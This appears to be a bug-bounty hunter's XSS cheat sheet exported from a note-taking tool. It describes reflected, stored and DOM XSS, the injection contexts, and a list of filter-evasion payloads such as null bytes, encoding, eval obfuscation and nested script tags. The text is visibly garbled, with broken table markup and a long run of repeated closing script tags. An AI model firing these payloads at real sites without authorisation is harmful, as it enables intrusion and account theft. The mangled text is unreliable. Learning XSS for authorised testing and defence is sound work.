XSS Cheat sheet

Active XSS hunting
Attack strategy
Passive XSS hunting
Attack strategy
Filter evasion

Active XSS hunting

Attack strategy

Types of XSS

<u>Aa</u> a	■ Reflected XSS-	■ Stored XSS	■ DOM XSS
<u>Value</u> <u>reflection</u>	Value is not stored in database but instead from a GET or POST parameter	Value is stored in database and gotten from there	Value gets put into DOM Sink
Test objectives	Identify where a value is stored into the DB and reflected back onto the page + Assess the input they accept and see if we can't pass around any filters	Identify where a value is reflected into the response + Assess the input they accept and see if we can't pass around any filters	Identify where a value is put into a DOM sink and reflected back onto the page + Assess the input they accept and see if we can't pass around any filters
Step 1	Detect input vectors by testing ALL parameters	Detect input vectors by testing ALL parameters	Static code review works best for this

<u>Aa</u> a	■ Reflected XSS-	■ Stored XSS	■ DOM XSS
Step 2	Analyse the results depending on the context	Analyse the results depending on the context	Find the DOM sinks by entering a random value and looking at the developer console, try to find the value where it is reflected and the context
Step 3	Check impact of attack vector	Check impact of attack vector	Attacker MUST use developer console and not inspect source as that will not show DOM elements
<u>Untitled</u>			

Passive XSS hunting

Attack strategy

Enter "'`><u>Rat was here into every fields that you see.

- Name, last name, adress,... at registration
- Names and content of ever object you create
- EVERYWHERE

If you encounter a value that's reflected, determine context.

Contexts

≡ Column	Aa JavaScript context	■ HTML Tag context	
Attack vector		<u>Rat was here + </u>	""`>
Breaks	Breaks javascript functions	Nothing, reflects value into HTML context without sanitise, allowing for own tags	HTML tag attribute such as "Value" for <input/> tag

E Column	Aa JavaScript context	■ HTML Tag context	■ HTML Tag attribute context
Exploit	Try to insert our own JS code	Add event handlers to tags	Insert JS event handler or JS code into tag
Example	<u>'); alert(); —</u>		'alert(); '

Filter evasion

Techniques

<u>Aa</u> Name	≡ Tags	≡ Column
Basic modifications	<pre><script>alert(1)</script> <script>alert(1) </script> <script>alert(1)</script> Encoded tabs/newlines/CR <script	>alert(1) <script
>alert(1) <script>alert(1) Capital letters <script>alert(1)</script> Adding nullbytes: <%00script>alert(1) <script>alert(1)</script></script></script
></script	></pre>	Doing basic things like adding spaces, encoding tabs, newlines and carriege rerurns can do a lot alread

<u>Aa</u> Name	≡ Tags	≡ Column
Attributes and tags	<pre><input name="input" type="text" value="hello"/> <input cheat-sheet"="" cross-site-scripting="" https:="" name="input" portswigger.net="" text"="" type="text" value="><script>alert(1)</script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></scr</td><td>We can do the same basic modifications to attribute tags and add things like nullbytes</td></tr><tr><td>Event
handlers</td><td>Use burp intruder, select your event handler that's blocked and use burp suites cheat sheet to test all event handlers</td><td>Try all different event handlers https://portswigger.net/web-security/cross-site-scripting/cheat-sheet Use burp intruder</pre>	
Delimiters and brackers	<pre> URL encodign Backticks Encoded backtics </pre>	Sometimes we can play with things like delimiters by encoding them if they are blocked

<u>Aa</u> Name	≡ Tags	≡ Column
Delimiters and brackers - 2	Double use of delimiters < <script>alert(1)//<</script> Unknown delimiters «input onsubmit=alert(1)» Encoded ®input onsubmit=alert(1)¯	
Eval()	<pre><script>eval('a\u006cert(1)')</script> <script>eval('al' + 'ert(1)')</script> <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script></pre>	We can also make use of the eval() function in JS to obfuscate some strings so they won't be filtered
Using filtered words in filtered words	If script is filtered <scrscriptipt> might become <script></td><td>This helped me find many bounties 😭</td></tr><tr><td>Use your imagination <3</td><td></td><td></td></tr></tbody></table></script></scrscriptipt>	